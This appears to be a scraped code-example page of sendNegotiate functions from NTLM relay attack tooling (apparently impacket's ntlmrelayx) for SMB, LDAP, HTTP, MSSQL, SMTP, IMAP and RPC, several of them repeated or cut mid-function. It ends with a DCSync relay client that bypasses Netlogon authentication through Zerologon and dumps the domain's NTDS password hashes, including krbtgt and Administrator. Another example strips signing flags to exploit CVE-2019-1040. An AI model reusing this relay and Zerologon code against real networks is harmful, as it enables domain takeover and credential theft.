Example #1
0
    def sendNegotiate(self,negotiateMessage):
        #Also partly copied from tds.py
        login = TDS_LOGIN()

        login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
        login['AppName']  = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName']  = login['AppName']
        login['ClientPID'] = random.randint(0,1024)
        login['PacketSize'] = self.packetSize
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON

        # NTLMSSP Negotiate
        login['SSPI'] = str(negotiateMessage)
        login['Length'] = len(str(login))

        # Send the NTLMSSP Negotiate
        self.sendTDS(TDS_LOGIN7, str(login))

        # According to the specs, if encryption is not required, we must encrypt just
        # the first Login packet :-o
        if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
            self.tlsSocket = None

        tds = self.recvTDS()
        self.sessionData['NTLM_CHALLENGE'] = tds

        challenge = NTLMAuthChallenge()
        challenge.fromString(tds['Data'][3:])
        #challenge.dump()

        return challenge
Example #2
0
    def sendNegotiate(self, negotiateMessage):
        #Remove the message signing flag
        #For LDAP this is required otherwise it triggers LDAP signing
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = str(negoMessage)

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode('ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')
Example #3
0
    def sendNegotiate(self,negotiateMessage):
        #Check if server wants auth
        self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
        try:
            if 'NTLM' not in res.getheader('WWW-Authenticate'):
                LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
                return False
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' % self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage)
        headers = {'Authorization':'NTLM %s' % negotiate}
        self.session.request('GET', self.path ,headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
Example #4
0
    def sendNegotiate(self, auth_data):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(auth_data)
        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
            negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
        self.negotiateMessage = negoMessage.getData()
        bindResp = self.session.sendBindType1(self.endpoint_uuid,
                                              self.negotiateMessage)

        self.challenge = NTLMAuthChallenge()
        self.challenge.fromString(bindResp['auth_data'])

        return self.challenge
    def sendNegotiate(self, negotiateMessage):
        # Remove the message signing flag
        # For LDAP this is required otherwise it triggers LDAP signing

        # Note that this code is commented out because changing flags breaks the signature
        # unless the client uses a non-standard implementation of NTLM
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = str(negoMessage)

        # Warn if the relayed target requests signing, which will break our attack
        if negoMessage[
                'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
            LOG.warning(
                'The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)'
            )

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version,
                                              'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(
                    self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode(
                        'ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException(
                        'Could not discover authentication methods, server replied: %s'
                        % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version,
                                                  'SICILY_NEGOTIATE_NTLM',
                                                  self)
                    response = self.session.post_send_single_response(
                        self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException(
                        'Server did not offer NTLM authentication!')
Example #6
0
    def sendNegotiate(self, negotiateMessage):
        #Check if server wants auth

        if self.body is not None:
            self.session.request('POST', self.path, self.body,
                                 {"Content-Type": "text/xml"})
        else:
            self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info(
                'Status code returned: %d. Authentication does not seem required for URL'
                % res.status)
        try:
            if 'NTLM' not in res.getheader('WWW-Authenticate'):
                LOG.error(
                    'NTLM Auth not offered by URL, offered protocols: %s' %
                    res.getheader('WWW-Authenticate'))
                return False
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' %
                      self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage)
        if self.body is not None:
            headers = {
                'Authorization': 'NTLM %s' % negotiate,
                "Content-Type": "text/xml"
            }
            self.session.request('POST', self.path, self.body, headers=headers)
        else:
            headers = {'Authorization': 'NTLM %s' % negotiate}
            self.session.request('GET', self.path, headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search(
                'NTLM ([a-zA-Z0-9+/]+={0,2})',
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
Example #7
0
    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge
Example #8
0
		def do_OPTIONS(self):
			messageType = 0
			if self.headers.getheader('Authorization') is None:
				self.do_AUTHHEAD(message = 'NTLM')
				pass
			else:
				# constants.isRunning = True

				typeX = self.headers.getheader('Authorization')
				try:
					_, blob = typeX.split('NTLM')
					token =  base64.b64decode(blob.strip())
				except:
					self.do_AUTHHEAD()
				messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
			
			if messageType == 1:
				self.target = self.client_address[0]
				try:
					self.client = SMBClient(self.target, extended_security = True)
					self.client.set_timeout(60)
				except Exception, e:
					print "Connection against target %s FAILED" % self.target
					print str(e)

				clientChallengeMessage = self.client.sendNegotiate(token) 
				self.challengeMessage = NTLMAuthChallenge()
				self.challengeMessage.fromString(clientChallengeMessage)
				self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage))
Example #9
0
    def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge
Example #10
0
    def sendNegotiate(self, negotiateMessage):
        #Check if server wants auth
        self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info(
                'Status code returned: %d. Authentication does not seem required for URL'
                % res.status)
        try:
            if 'NTLM' not in res.getheader(
                    'WWW-Authenticate') and 'Negotiate' not in res.getheader(
                        'WWW-Authenticate'):
                LOG.error(
                    'NTLM Auth not offered by URL, offered protocols: %s' %
                    res.getheader('WWW-Authenticate'))
                return False
            if 'NTLM' in res.getheader('WWW-Authenticate'):
                self.authenticationMethod = "NTLM"
            elif 'Negotiate' in res.getheader('WWW-Authenticate'):
                self.authenticationMethod = "Negotiate"
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' %
                      self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage).decode("ascii")
        headers = {
            'Authorization': '%s %s' % (self.authenticationMethod, negotiate)
        }
        self.session.request('GET', self.path, headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search(
                ('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod),
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
            return False
 def sendNegotiate(self,negotiateMessage):
     negotiate = base64.b64encode(negotiateMessage)
     self.session.putcmd('AUTH NTLM')
     code, resp = self.session.getreply()
     if code != 334:
         LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp))
         return False
     else:
         self.session.putcmd(negotiate)
     try:
         code, serverChallengeBase64 = self.session.getreply()
         serverChallenge = base64.b64decode(serverChallengeBase64)
         challenge = NTLMAuthChallenge()
         challenge.fromString(serverChallenge)
         return challenge
     except (IndexError, KeyError, AttributeError):
         LOG.error('No NTLM challenge returned from SMTP server')
         raise
 def sendNegotiate(self,negotiateMessage):
     negotiate = base64.b64encode(negotiateMessage)
     self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))
     resp = self.session.readline().strip()
     if resp != '+':
         LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)
         return False
     else:
         self.session.send(negotiate + imaplib.CRLF)
     try:
         serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char
         serverChallenge = base64.b64decode(serverChallengeBase64)
         challenge = NTLMAuthChallenge()
         challenge.fromString(serverChallenge)
         return challenge
     except (IndexError, KeyError, AttributeError):
         LOG.error('No NTLM challenge returned from IMAP server')
         raise
 def sendNegotiate(self, negotiateMessage):
     negotiate = base64.b64encode(negotiateMessage)
     self.session.send('%s AUTHENTICATE NTLM%s' %
                       (self.authTag, imaplib.CRLF))
     resp = self.session.readline().strip()
     if resp != '+':
         LOG.error('IMAP Client error, expected continuation (+), got %s ' %
                   resp)
         return False
     else:
         self.session.send(negotiate + imaplib.CRLF)
     try:
         serverChallengeBase64 = self.session.readline().strip()[
             2:]  #first two chars are the continuation and space char
         serverChallenge = base64.b64decode(serverChallengeBase64)
         challenge = NTLMAuthChallenge()
         challenge.fromString(serverChallenge)
         return challenge
     except (IndexError, KeyError, AttributeError):
         LOG.error('No NTLM challenge returned from IMAP server')
         raise
Example #14
0
    def sendNegotiate(self, negotiateMessage):
        #Remove the message signing flag
        #For LDAP this is required otherwise it triggers LDAP signing
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = str(negoMessage)

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version,
                                              'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(
                    self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode(
                        'ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException(
                        'Could not discover authentication methods, server replied: %s'
                        % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version,
                                                  'SICILY_NEGOTIATE_NTLM',
                                                  self)
                    response = self.session.post_send_single_response(
                        self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException(
                        'Server did not offer NTLM authentication!')
Example #15
0
    def sendNegotiate(self, negotiateMessage):
        #Also partly copied from tds.py
        login = TDS_LOGIN()

        login['HostName'] = (''.join([
            random.choice(string.letters) for _ in range(8)
        ])).encode('utf-16le')
        login['AppName'] = (''.join([
            random.choice(string.letters) for _ in range(8)
        ])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName'] = login['AppName']
        login['ClientPID'] = random.randint(0, 1024)
        login['PacketSize'] = self.packetSize
        login[
            'OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON

        # NTLMSSP Negotiate
        login['SSPI'] = str(negotiateMessage)
        login['Length'] = len(str(login))

        # Send the NTLMSSP Negotiate
        self.sendTDS(TDS_LOGIN7, str(login))

        # According to the specs, if encryption is not required, we must encrypt just
        # the first Login packet :-o
        if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
            self.tlsSocket = None

        tds = self.recvTDS()
        self.sessionData['NTLM_CHALLENGE'] = tds

        challenge = NTLMAuthChallenge()
        challenge.fromString(tds['Data'][3:])
        #challenge.dump()

        return challenge
Example #16
0
    def sendNegotiate(self, negotiateMessage):
        # Remove the message signing flag
        # For LDAP this is required otherwise it triggers LDAP signing

        # Note that this code is commented out because changing flags breaks the signature
        # unless the client uses a non-standard implementation of NTLM
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
        self.negotiateMessage = negoMessage.getData()

        # Warn if the relayed target requests signing, which will break our attack
        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
            LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode('ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                    result = response[0]

                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')
Example #17
0
    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge
Example #18
0
class DCSYNCRelayClient(ProtocolClient):
    """
    DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
    invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
    """
    PLUGIN_NAME = "DCSYNC"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=None,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)

        self.endpoint = serverConfig.rpc_mode

        self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI

        LOG.debug(
            "Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding"
            % (target.netloc, self.endpoint))
        self.stringbinding = epm.hept_map(target.netloc,
                                          self.endpoint_uuid,
                                          protocol='ncacn_ip_tcp')

        LOG.debug("%s stringbinding is %s" %
                  (self.endpoint, self.stringbinding))

    def initConnection(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)

        if self.serverConfig.rpc_use_smb:
            LOG.info(
                "Authenticating to smb://%s:%d with creds provided in cmdline"
                % (self.target.netloc, self.serverConfig.rpc_smb_port))
            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
            rpctransport.set_dport(self.serverConfig.rpc_smb_port)

        self.session = MYDCERPC_v5(rpctransport)
        self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        self.session.connect()

        return True

    def sendNegotiate(self, auth_data):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(auth_data)
        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
            negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
        self.negotiateMessage = negoMessage.getData()
        bindResp = self.session.sendBindType1(self.endpoint_uuid,
                                              self.negotiateMessage)

        self.challenge = NTLMAuthChallenge()
        self.challenge.fromString(bindResp['auth_data'])

        return self.challenge

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            auth_data = respToken2['ResponseToken']
        else:
            auth_data = authenticateMessageBlob

        remoteOps = None
        try:
            signingkey = self.netlogonSessionKey(serverChallenge,
                                                 authenticateMessageBlob)
            # Something failed
            if signingkey == 0:
                return
            self.session.set_session_key(signingkey)
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(auth_data)

            # Recalc mic
            authenticateMessage['MIC'] = b'\x00' * 16
            if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
                authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
            newmic = ntlm.hmac_md5(
                signingkey, self.negotiateMessage + self.challenge.getData() +
                authenticateMessage.getData())
            authenticateMessage['MIC'] = newmic
            self.session.sendBindType3(authenticateMessage.getData())

            # Now perform DRS bind
            # This code comes from secretsdump directly
            request = drsuapi.DRSBind()
            request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
            drs = drsuapi.DRS_EXTENSIONS_INT()
            drs['cb'] = len(drs)  #- 4
            drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
                             drsuapi.DRS_EXT_STRONG_ENCRYPTION
            drs['SiteObjGuid'] = drsuapi.NULLGUID
            drs['Pid'] = 0
            drs['dwReplEpoch'] = 0
            drs['dwFlagsExt'] = 0
            drs['ConfigObjGUID'] = drsuapi.NULLGUID
            # I'm uber potential (c) Ben
            drs['dwExtCaps'] = 0xffffffff
            request['pextClient']['cb'] = len(drs)
            request['pextClient']['rgb'] = list(drs.getData())
            resp = self.session.request(request)

            # Initialize remoteoperations
            if self.serverConfig.smbuser != '':
                smbConnection = SMBConnection(self.target.netloc,
                                              self.target.netloc)
                smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
                remoteOps = RemoteOperations(smbConnection, False)
            else:
                remoteOps = PatchedRemoteOperations(None, False)

            # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
            drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

            # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
            ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
                len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
            drsExtensionsInt.fromString(ppextServer)

            if drsExtensionsInt['dwReplEpoch'] != 0:
                # Different epoch, we have to call DRSBind again
                LOG.debug(
                    "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again"
                    % drsExtensionsInt['dwReplEpoch'])
                drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
                request['pextClient']['cb'] = len(drs)
                request['pextClient']['rgb'] = list(drs.getData())
                resp = self.session.request(request)

            remoteOps._RemoteOperations__hDrs = resp['phDrs']

            domainName = authenticateMessage['domain_name'].decode('utf-16le')
            # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
            resp = drsuapi.hDRSDomainControllerInfo(
                self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
            # LOG.debug('DRSDomainControllerInfo() answer')
            # resp.dump()

            if resp['pmsgOut']['V2']['cItems'] > 0:
                remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[
                    'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
            else:
                LOG.error("Couldn't get DC info for domain %s" % domainName)
                raise Exception('Fatal, aborting')
            remoteOps._RemoteOperations__drsr = self.session

            # Initialize NTDSHashes object
            if self.serverConfig.smbuser != '':
                # We can dump all :)
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=None,
                                printUserStatus=False)
                nh.dump()
            else:
                # Most important, krbtgt
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/krbtgt',
                                printUserStatus=False)
                nh.dump()
                # Also important, DC hash (to sync fully)
                av_pairs = authenticateMessage['ntlm'][44:]
                av_pairs = AV_PAIRS(av_pairs)
                serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode(
                    'utf-16le')
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/' + serverName + '$',
                                printUserStatus=False)
                nh.dump()
                # Finally, builtin\Administrator providing it was not renamed
                try:
                    nh = NTDSHashes(None,
                                    None,
                                    isRemote=True,
                                    history=False,
                                    noLMHash=False,
                                    remoteOps=remoteOps,
                                    useVSSMethod=False,
                                    justNTLM=False,
                                    pwdLastSet=False,
                                    resumeSession=None,
                                    outputFileName='hashes',
                                    justUser=domainName + '/Administrator',
                                    printUserStatus=False)
                    nh.dump()
                except Exception:
                    LOG.error('Could not dump administrator (renamed?)')

            return None, STATUS_SUCCESS
        except Exception as e:
            traceback.print_exc()
        finally:
            if remoteOps is not None:
                remoteOps.finish()

    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        domainName = authenticateMessage['domain_name'].decode('utf-16le')
        flags = authenticateMessage['flags']
        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = AV_PAIRS(av_pairs)

            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
        except:
            LOG.debug("Exception:", exc_info=True)
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        binding = epm.hept_map(self.target.netloc,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')

        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        MAX_ATTEMPTS = 6000
        for attempt in range(0, MAX_ATTEMPTS):
            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                                b'\x00' * 8)

            serverChallenge = resp['ServerChallenge']

            ppp = b'\x00' * 8
            try:
                nrpc.hNetrServerAuthenticate3(
                    dce, NULL, serverName + '$\x00',
                    nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                    serverName + '\x00', ppp, 0x212effef)
            except nrpc.DCERPCSessionError as ex:
                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
                if ex.get_error_code() == 0xc0000022:
                    continue
                else:
                    LOG.error('Unexpected error code from DC: %d.',
                              ex.get_error_code())
            except BaseException as ex:
                LOG.error('Unexpected error: %s', str(ex))
            LOG.info(
                'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!',
                attempt)
            break
        else:
            LOG.error(
                'No success bypassing auth after 6000 attempts. Target likely patched!'
            )
            return
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = lflags
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator[
            'Credential'] = b'\x00' * 8  #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 0

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except DCERPCException as e:
            LOG.debug('Exception:', exc_info=True)
            LOG.error(str(e))
            return e.get_error_code()

        LOG.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != '':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        LOG.info("NTLM Sign/seal key: %s " %
                 hexlify(signingKey).decode('utf-8'))
